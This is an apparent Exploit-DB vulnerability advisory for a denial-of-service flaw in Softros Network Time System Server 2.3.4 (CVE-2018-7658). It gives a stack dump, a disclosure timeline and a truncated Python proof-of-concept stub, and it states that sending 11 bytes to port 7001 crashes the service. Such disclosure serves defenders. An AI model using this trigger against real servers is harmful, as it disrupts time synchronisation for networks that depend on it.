Softros Network Time System Server 2.3.4 - Denial of Service

EDB-ID: 44255
Author: hyp3rlinx
Published: 2018-03-06
CVE: CVE-2018-7658
Type: Dos
Platform: Windows
Vulnerable App: Download Vulnerable Application

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[+] ISR: Apparition Security


Network Time System Server v2.3.4
Both x86/x64 versions

Network Time System provides a solution to system time maintenance problems. This powerful client/server software enables you to set up a
virtually fail-safe synchronized time environment for networks of any size and complexity, from small office networks (LAN) to those
maintained at large enterprises (VPN, VLAN, WAN), from single site networks to those including numerous domains and involving complex
routing techniques. Network Time System allows the creation of a custom source of precise time in a corporate network environment
establishing an interconnected time synchronization system for each and every machine and device on the company network.

Vulnerability Type:
Denial Of Service

CVE Reference:

Security Issue:
Network Time System (Server) "NTSServerSvc" service listens on Port 7001, unauthenticated remote attackers can crash the
Server by sending exactly 11 bytes to the target system. Systems which may depend on critical time synchronization
could then potentially be impacted.

Stack dump:

eax=0320119a ebx=0000000b ecx=000000ff edx=00000000 esi=03167040 edi=0050b328
eip=004069a5 esp=0447fee8 ebp=0447ff28 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297
004069a5 880a mov byte ptr [edx],cl ds:0023:00000000=??
Resetting default scope

004069a5 880a mov byte ptr [edx],cl

ExceptionAddress: 004069a5 (NTSServerSvc+0x000069a5)
ExceptionCode: c0000005 (Access violation)


import socket
#Network Time System (Server) NTSServerSvc.exe v2.3.4
#Softros Systems
#NTS Server service for time synchronization over network

print 'Network Time Server 11 byte Denial Of Service'
print 'by hyp3rlinx'
HOST=raw_input('Network Time Server IP')

Network Access:


Disclosure Timeline:
Vendor Notification: February 10, 2018
Second attempt : February 24, 2018
Request CVE, assigned by Mitre : March 3, 2018
March 5, 2018: Public Disclosure

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